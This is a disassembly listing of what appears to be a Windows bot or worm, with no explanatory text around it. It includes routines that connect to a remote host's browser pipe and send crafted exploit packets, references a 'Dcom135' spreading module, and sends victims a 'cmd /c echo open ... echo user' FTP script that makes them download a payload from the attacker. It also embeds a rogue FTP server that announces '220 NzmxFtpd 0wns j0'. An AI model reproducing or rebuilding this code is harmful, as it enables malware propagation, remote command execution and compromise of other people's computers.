db 33h ; 3 db 0DBh ; Û db 85h ; … db 0C0h ; À db 59h ; Y db 74h ; t db 4Eh ; N db 0FFh db 75h ; u db 8 db 0BEh ; ¾ db 0 db 20h db 0 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 68h ; h db 28h ; ( db 86h ; † db 42h ; B db 0 db 56h ; V db 50h ; P db 0E8h ; è db 9Ch ; œ db 2Eh ; . db 1 db 0 db 6Ah ; j db 20h db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 53h ; S db 50h ; P db 0E8h ; è db 93h ; “ db 29h ; ) db 1 db 0 db 8Dh ; db 85h ; … db 24h ; $ db 0DFh ; ß db 0FFh db 0FFh db 83h ; ƒ db 0C4h ; Ä db 1Ch db 89h ; ‰ db 85h ; … db 38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; ¸ db 0Ch db 0C8h ; È db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; è db 80h ; € db 0E0h ; à db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_4049C7 ; --------------------------------------------------------------------------- db 0BEh ; ¾ db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_4049C7: ; CODE XREF: ___:004049C0j push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41782A add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax nop call near ptr 2640000h cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_404A0B loc_404A04: ; CODE XREF: ___:00404AE3j ; ___:00404CB9j ... xor al, al jmp loc_404E4F ; --------------------------------------------------------------------------- loc_404A0B: ; CODE XREF: ___:00404A02j push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_417330 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_428C34 push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_417390 push 10h lea eax, [ebp-84h] push offset dword_428C20 push eax mov dword ptr [ebp-88h], 3 call sub_417390 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] nop call near ptr 2630000h test eax, eax jnz short loc_404AE8 loc_404ADA: ; CODE XREF: ___:00404BB4j push dword ptr [ebp-4] nop call near ptr 2621910h jmp loc_404A04 ; --------------------------------------------------------------------------- loc_404AE8: ; CODE XREF: ___:00404AD8j lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] nop call near ptr 26210C4h push ebx call sub_4186B1 push eax call sub_417302 push 14h lea eax, [ebp-70h] push 41h push eax call sub_417330 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_417330 add esp, 20h call sub_41730C mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_428BC8[esi], bl jz short loc_404B5F push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_43C830 jmp short loc_404B72 ; --------------------------------------------------------------------------- loc_404B5F: ; CODE XREF: ___:00404B4Bj push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_428C17+1) loc_404B72: ; CODE XREF: ___:00404B5Dj lea eax, [ebp-20h] push eax call sub_417390 add esp, 0Ch call sub_41730C mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41730C cdq idiv edi mov eax, dword_428BBC[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_417B89 mov edi, eax pop ecx cmp edi, ebx jz loc_404ADA mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_417330 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_417330 mov eax, dword_428BC4[esi] push 7 add eax, edi push offset dword_428BB0 push eax mov [ebp+0Ch], eax call sub_417390 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_428A50 push eax call sub_417390 mov eax, dword_428BC0[esi] add esp, 30h cmp byte_428BC8[esi], bl mov [ebp+0Ch], eax jz short loc_404C6B push 4 add eax, edi push offset dword_43C828 push eax call sub_417390 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_428BE0 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_417390 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_417390 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_417390 add esp, 30h jmp short loc_404C93 ; --------------------------------------------------------------------------- loc_404C6B: ; CODE XREF: ___:00404C1Cj add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_428BE0 loc_404C7C: ; CODE XREF: ___:00404C91j push 4 push esi push dword ptr [ebp+0Ch] call sub_417390 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_404C7C loc_404C93: ; CODE XREF: ___:00404C69j mov eax, [ebp+8] add eax, 42h push eax call sub_417B89 mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_404CBE push dword ptr [ebp-4] nop call near ptr 2621910h push edi call sub_417C3B pop ecx jmp loc_404A04 ; --------------------------------------------------------------------------- loc_404CBE: ; CODE XREF: ___:00404CA7j mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_417330 lea eax, [ebp-70h] push 14h push eax push esi call sub_417390 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_424294 fstp qword ptr [esp] call sub_417DEB call sub_417DC4 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_417390 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_404D2B loc_404D23: ; CODE XREF: ___:00404D26j inc eax test al, 3 jnz short loc_404D23 mov [ebp+0Ch], eax loc_404D2B: ; CODE XREF: ___:00404D21j lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_417390 add dword ptr [ebp+0Ch], 1Ch push edi call sub_417C3B push 18h lea eax, [ebp-48h] push ebx push eax call sub_417330 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr [ebp-32h], 1Fh call sub_417330 add esp, 28h push ebx push ebx push 1 push ebx call near ptr 264032Fh nop mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_404D98: ; CODE XREF: ___:00404E22j cmp dword ptr [ebp-0Ch], 2 jge loc_404E2D push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_404861 add esp, 2Ch test al, al jz short loc_404E2A cmp [ebp-4Ch], ebx jz short loc_404E1C lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] nop call near ptr 26210C4h test eax, eax jnz short loc_404E03 nop call near ptr 26402CBh cmp eax, 3E5h jnz loc_404A04 loc_404E03: ; CODE XREF: ___:00404DF0j push 3E8h push dword ptr [ebp-4Ch] nop call near ptr 2640250h cmp eax, 102h jnz short loc_404E1C mov byte ptr [ebp+0Bh], 1 loc_404E1C: ; CODE XREF: ___:00404DCFj ; ___:00404E16j cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_404D98 jmp short loc_404E2D ; --------------------------------------------------------------------------- loc_404E2A: ; CODE XREF: ___:00404DCAj mov esi, [ebp-8] loc_404E2D: ; CODE XREF: ___:00404D9Cj ; ___:00404E28j push dword ptr [ebp-4] mov edi, dword_424078 call edi push esi call sub_417C3B cmp [ebp-4Ch], ebx pop ecx jz short loc_404E49 push dword ptr [ebp-4Ch] call edi loc_404E49: ; CODE XREF: ___:00404E42j cmp [ebp+0Bh], bl setnz al loc_404E4F: ; CODE XREF: ___:00404A06j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 81h ; db 0ECh ; ì db 0A0h ; db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; ö db 6Ah ; j db 10h db 8Dh ; db 45h ; E db 0F0h ; ð db 56h ; V db 50h ; P db 0E8h ; è db 0C2h ;  db 24h ; $ db 1 db 0 db 83h ; ƒ db 0C4h ; Ä db 0Ch db 8Dh ; db 45h ; E db 0Ch db 66h ; f db 0C7h ; Ç db 45h ; E db 0F0h ; ð db 2 db 0 db 50h ; P db 0E8h ; è db 78h ; x db 0C4h ; Ä db 6Ah ; j db 71h ; q db 90h ; db 0FFh db 0B5h ; µ db 0C4h ; Ä db 0 db 0 db 0 db 89h ; ‰ db 45h ; E db 0F4h ; ô db 90h ; db 0E8h ; è db 0B6h ; ¶ db 0C8h ; È db 6Ah ; j db 71h ; q db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; ‰ db 45h ; E db 0F2h ; ò db 0E8h ; è db 84h ; „ db 0EDh ; í db 6Ah ; j db 71h ; q db 90h ; db 8Bh ; ‹ db 0D8h ; Ø db 83h ; ƒ db 0FBh ; û db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; db 45h ; E db 0F0h ; ð db 6Ah ; j db 10h db 50h ; P db 53h ; S db 90h ; db 0E8h ; è db 0AAh ; ª db 0EFh ; ï db 6Ah ; j db 71h ; q db 83h ; ƒ db 0F8h ; ø db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; ¿ db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; ‹ db 35h ; 5 db 4 db 42h ; B db 42h ; B db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 0B8h ; ¸ db 78h ; x db 0F6h ; ö db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 3Ch ; < db 0C8h ; È db 43h ; C db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 0FCh ; ü db 5Fh ; _ db 0 db 0 db 59h ; Y db 50h ; P db 68h ; h db 0DCh ; Ü db 89h ; ‰ db 42h ; B db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 68h ; h db 90h ; db 1 db 0 db 0 db 50h ; P db 0E8h ; è db 2Eh ; . db 29h ; ) db 1 db 0 db 83h ; ƒ db 0C4h ; Ä db 1Ch db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; è db 0A3h ; £ db 2Bh ; + db 1 db 0 db 59h ; Y db 50h ; P db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 50h ; P db 53h ; S db 90h ; db 0E8h ; è db 0D7h ; × db 0CBh ; Ë db 6Ah ; j db 71h ; q db 83h ; ƒ db 0F8h ; ø db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; À db 0EBh ; ë db 17h db 6Ah ; j db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 53h ; S db 0E8h ; è db 34h ; 4 db 0CBh ; Ë db 6Ah ; j db 71h ; q db 90h ; db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; É db 0C3h ; à dw 5653h dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851B75h, 0D0680B75h dd 90000007h, 1FB8AAE8h, 0FB834302h, 33B87202h, 5B5E5FC0h dd 58016AC3h db 0EBh, 0F7h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404F9A proc near ; CODE XREF: ___:00405119p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax nop call near ptr 71AB12F8h push [ebp+arg_BC] mov [ebp+var_C], eax nop call near ptr 71AB1746h push esi push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_405068 lea eax, [ebp+var_10] push 10h push eax push ebx nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jz short loc_405068 mov edi, 400h push esi mov esi, dword_424204 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_42F678 push eax push eax push dword_43C83C push [ebp+arg_0] call sub_40AEE0 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41782A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call near ptr 71AB1AF4h nop cmp eax, 0FFFFFFFFh jnz short loc_40506C loc_405068: ; CODE XREF: sub_404F9A+50j ; sub_404F9A+62j xor eax, eax jmp short loc_405083 ; --------------------------------------------------------------------------- loc_40506C: ; CODE XREF: sub_404F9A+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call near ptr 71AB1A6Dh nop push 1 pop eax loc_405083: ; CODE XREF: sub_404F9A+D0j pop edi pop esi pop ebx leave retn sub_404F9A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+0Ch] push edi push eax mov word ptr [ebp-10h], 2 call dword_43F6A8 push dword ptr [ebp+0A8h] mov [ebp-0Ch], eax call dword_43F668 push 6 push 1 push 2 mov [ebp-0Eh], ax call near ptr 71AB3C22h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4050FA lea eax, [ebp-10h] push 10h push eax push esi call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jnz short loc_4050DB push esi jmp short loc_4050F4 ; --------------------------------------------------------------------------- loc_4050DB: ; CODE XREF: ___:004050D6j push 0 push 1213h push offset dword_428C60 push esi nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh push esi jnz short loc_4050FE loc_4050F4: ; CODE XREF: ___:004050D9j nop call near ptr 71AB1A6Dh loc_4050FA: ; CODE XREF: ___:004050C4j xor eax, eax jmp short loc_405140 ; --------------------------------------------------------------------------- loc_4050FE: ; CODE XREF: ___:004050F2j nop call near ptr 71AB1A6Dh push 216Bh lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_404F9A add esp, 0C0h test eax, eax jz short loc_40513D mov eax, [ebp+0B0h] imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] loc_40513D: ; CODE XREF: ___:00405126j push 1 pop eax loc_405140: ; CODE XREF: ___:004050FCj pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405144 proc near ; CODE XREF: ___:00405340p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_43F6A8 mov [ebp+var_C], eax mov ax, word_42A040 push eax call dword_43F668 push edi push 1 push 2 mov [ebp+var_E], ax call dword_43F6E8 mov esi, eax cmp esi, 0FFFFFFFFh jz loc_40525B lea eax, [ebp+var_10] push 10h push eax push esi call dword_43F610 cmp eax, 0FFFFFFFFh jz loc_40525B mov ebx, 400h push edi lea eax, [ebp+var_5A0] push ebx push eax push esi call dword_43F680 push dword_43C83C push [ebp+arg_0] call sub_40AEE0 pop ecx mov edi, 190h push eax push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 14h lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push esi call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_40525B push 1F4h call near ptr 2600833h nop push offset byte_42F678 push offset dword_428598 lea eax, [ebp+var_1A0] push edi push eax call sub_41782A add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push esi call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_40525F loc_40525B: ; CODE XREF: sub_405144+51j ; sub_405144+67j ... xor al, al jmp short loc_405279 ; --------------------------------------------------------------------------- loc_40525F: ; CODE XREF: sub_405144+115j push 0 lea eax, [ebp+var_5A0] push ebx push eax push esi call dword_43F680 push esi call dword_43F700 mov al, 1 loc_405279: ; CODE XREF: sub_405144+119j pop edi pop esi pop ebx leave retn sub_405144 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 210h push ebx push esi lea eax, [ebp+0Ch] push edi push eax nop call near ptr 71AB2BBFh mov esi, eax test esi, esi jnz short loc_4052A8 lea eax, [ebp+0Ch] push eax call near ptr 71AB12F8h nop mov ebx, eax jmp short loc_4052AE ; --------------------------------------------------------------------------- loc_4052A8: ; CODE XREF: ___:00405298j mov ebx, [ebp+0C0h] loc_4052AE: ; CODE XREF: ___:004052A6j push 11h push 2 push 2 call near ptr 71AB3C22h nop test esi, esi mov edi, eax jz short loc_4052D8 movsx eax, word ptr [esi+0Ah] push eax mov eax, [esi+0Ch] push dword ptr [eax] lea eax, [ebp-0Ch] push eax call sub_417390 add esp, 0Ch jmp short loc_4052DB ; --------------------------------------------------------------------------- loc_4052D8: ; CODE XREF: ___:004052BEj mov [ebp-0Ch], ebx loc_4052DB: ; CODE XREF: ___:004052D6j test esi, esi jz short loc_4052E9 mov ax, [esi+8] mov [ebp-10h], ax jmp short loc_4052EF ; --------------------------------------------------------------------------- loc_4052E9: ; CODE XREF: ___:004052DDj mov word ptr [ebp-10h], 2 loc_4052EF: ; CODE XREF: ___:004052E7j push 599h nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push edi nop call near ptr 71AB3E5Dh test eax, eax jnz loc_4053BE push eax push 1C9h push offset loc_429E74 push edi nop call near ptr 71AB1AF4h push 3E8h nop call near ptr 2600833h sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_405144 add esp, 0BCh test al, al jz short loc_405354 push 1 pop eax jmp short loc_4053D0 ; --------------------------------------------------------------------------- loc_405354: ; CODE XREF: ___:0040534Dj lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] imul eax, 3Ch add eax, offset aDcom135 ; "Dcom135" push eax push offset unk_42A0B0 lea eax, [ebp-210h] push 200h push eax call sub_41782A push 0 lea eax, [ebp-210h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_40D679 lea eax, [ebp-210h] push eax call sub_40BF6D mov eax, [ebp+0B0h] add esp, 2Ch imul eax, 3Ch inc dword_42ACB8[eax] lea eax, dword_42ACB8[eax] jmp short loc_4053CE ; --------------------------------------------------------------------------- loc_4053BE: ; CODE XREF: ___:0040530Dj push 1 push edi call near ptr 71AB8629h nop push edi nop call near ptr 71AB1A6Dh loc_4053CE: ; CODE XREF: ___:004053BCj xor eax, eax loc_4053D0: ; CODE XREF: ___:00405352j pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4053D5 proc near ; DATA XREF: sub_407252+226o var_A6C = byte ptr -0A6Ch var_8DC = byte ptr -8DCh var_6DC = dword ptr -6DCh var_6D8 = byte ptr -6D8h var_4C4 = byte ptr -4C4h var_444 = dword ptr -444h var_440 = dword ptr -440h var_438 = dword ptr -438h var_334 = byte ptr -334h var_2D0 = byte ptr -2D0h var_29C = byte ptr -29Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_124 = byte ptr -124h var_F8 = byte ptr -0F8h var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_48 = byte ptr -48h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A6Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6DC] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A6C] xor edi, edi push eax push 101h mov [ebp+var_28], ebx mov [ebp+var_18], ebx mov [ebp+var_228], edi mov [ebp+var_438], edi nop call near ptr 71AB41DAh push edi call sub_4186B1 push eax call sub_417302 push 0FEB0h push 406h call sub_415450 add esp, 10h mov dword_43C83C, eax push edi push ebx push 2 call near ptr 71AB3C22h nop mov esi, eax lea eax, [ebp+var_28] push 4 push eax push 4 push 0FFFFh push esi mov [ebp+var_C], esi nop call near ptr 71AB3F8Dh lea eax, [ebp+var_18] push eax push 8004667Eh push esi nop call near ptr 71AB155Ah mov ax, word ptr dword_43C83C mov [ebp+var_38], 2 push eax mov [ebp+var_34], edi nop call near ptr 71AB1746h mov [ebp+var_36], ax lea eax, [ebp+var_38] push 10h push eax push esi call near ptr 71AB3ECEh nop test eax, eax jge short loc_4054AA mov eax, ebx jmp loc_4059D4 ; --------------------------------------------------------------------------- loc_4054AA: ; CODE XREF: sub_4053D5+CCj push 0Ah push esi nop call near ptr 71AB5DE2h mov [ebp+var_228], ebx mov ebx, dword_424208 mov [ebp+var_224], esi mov [ebp+var_4], esi loc_4054C8: ; CODE XREF: sub_4053D5+12Cj ; sub_4053D5+5F7j push 41h lea esi, [ebp+var_228] pop ecx lea edi, [ebp+var_438] rep movsd xor esi, esi lea eax, [ebp+var_438] push esi push esi push esi push eax mov eax, [ebp+var_4] inc eax push eax call near ptr 71AB1890h nop cmp eax, 0FFFFFFFFh jz loc_4059D1 xor edi, edi cmp [ebp+var_4], esi mov [ebp+arg_0], edi jl short loc_4054C8 loc_405503: ; CODE XREF: sub_4053D5+5F1j xor esi, esi push 64h lea eax, [ebp+var_29C] push esi push eax call sub_417330 push 64h lea eax, [ebp+var_AC] push esi push eax call sub_417330 add esp, 18h lea eax, [ebp+var_438] push eax push edi call sub_422A46 ; --------------------------------------------------------------------------- db 85h dd 84840FC0h, 3B000004h, 7A75F47Dh, 0C7DC458Dh, 10DC45h dd 8D500000h, 0FFFDC885h, 75FF50FFh, 32E890F4h, 83716B31h dd 840FFFF8h, 45Bh, 0B539C933h, 0FFFFFDD8h, 958D1676h dd 0FFFFFDDCh ; --------------------------------------------------------------------------- loc_405574: ; CODE XREF: sub_4053D5+1ADj cmp [edx], eax jz short loc_405584 inc ecx add edx, 4 cmp ecx, [ebp+var_228] jb short loc_405574 loc_405584: ; CODE XREF: sub_4053D5+1A1j cmp ecx, [ebp+var_228] jnz short loc_4055A2 cmp [ebp+var_228], 40h jnb short loc_4055A2 mov [ebp+ecx*4+var_224], eax inc [ebp+var_228] loc_4055A2: ; CODE XREF: sub_4053D5+1B5j ; sub_4053D5+1BEj cmp eax, [ebp+var_4] jle short loc_4055AA mov [ebp+var_4], eax loc_4055AA: ; CODE XREF: sub_4053D5+1D0j push esi push 15h push offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n" push eax call ebx ; send jmp loc_4059BF ; --------------------------------------------------------------------------- dw 8D56h ; --------------------------------------------------------------------------- test [ebp+edi*8+var_4+3], esp jmp fword ptr [edx+64h] ; --------------------------------------------------------------------------- db 50h dd 0C6E857h, 8590716Bh, 8B527FC0h, 0FFFDD895h, 3BC933FFh dd 8D3A76D6h, 0FFFDDC85h db 0FFh ; --------------------------------------------------------------------------- loc_4055E1: ; CODE XREF: sub_4053D5+216j cmp [eax], edi jz short loc_4055EF inc ecx add eax, 4 cmp ecx, edx jb short loc_4055E1 jmp short loc_405615 ; --------------------------------------------------------------------------- loc_4055EF: ; CODE XREF: sub_4053D5+20Ej dec edx cmp ecx, edx jnb short loc_40560F lea eax, [ebp+ecx*4+var_224] loc_4055FB: ; CODE XREF: sub_4053D5+238j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_228] add eax, 4 dec edx cmp ecx, edx jb short loc_4055FB loc_40560F: ; CODE XREF: sub_4053D5+21Dj dec [ebp+var_228] loc_405615: ; CODE XREF: sub_4053D5+218j push edi nop call near ptr 71AB1A6Dh jmp loc_4059BF ; --------------------------------------------------------------------------- lea eax, [ebp+var_334] push eax lea eax, [ebp+var_AC] push eax lea eax, [ebp+var_29C] push offset aSS_1 ; "%s %s" push eax call sub_418A52 lea eax, [ebp+var_AC] push offset aUser_1 ; "USER" push eax call sub_4176D0 add esp, 18h test eax, eax jnz short loc_405665 push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_405665: ; CODE XREF: sub_4053D5+281j lea eax, [ebp+var_AC] push offset aPass ; "PASS" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_405689 push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_405689: ; CODE XREF: sub_4053D5+2A5j lea eax, [ebp+var_AC] push offset aSyst ; "SYST" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4056AD push esi push 0Dh push offset a215Nzmxftpd ; "215 NzmxFtpd\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_4056AD: ; CODE XREF: sub_4053D5+2C9j lea eax, [ebp+var_AC] push offset aRest ; "REST" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4056D1 push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_4056D1: ; CODE XREF: sub_4053D5+2EDj lea eax, [ebp+var_AC] push offset off_42A2D0 push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4056F5 push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_4056F5: ; CODE XREF: sub_4053D5+311j lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_405730 lea eax, [ebp+var_334] push offset aA ; "A" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_405730 push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_405730: ; CODE XREF: sub_4053D5+335j ; sub_4053D5+34Cj lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40576B lea eax, [ebp+var_334] push offset aI ; "I" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_40576B push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_4059AA ; --------------------------------------------------------------------------- loc_40576B: ; CODE XREF: sub_4053D5+370j ; sub_4053D5+387j lea eax, [ebp+var_AC] push offset aPasv ; "PASV" push eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4057B9 push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_124] rep movsd push eax lea eax, [ebp+var_124] push eax movsw call sub_417AB0 pop ecx push eax lea eax, [ebp+var_124] loc_4057A9: ; CODE XREF: sub_4053D5+423j push eax push [ebp+arg_0] 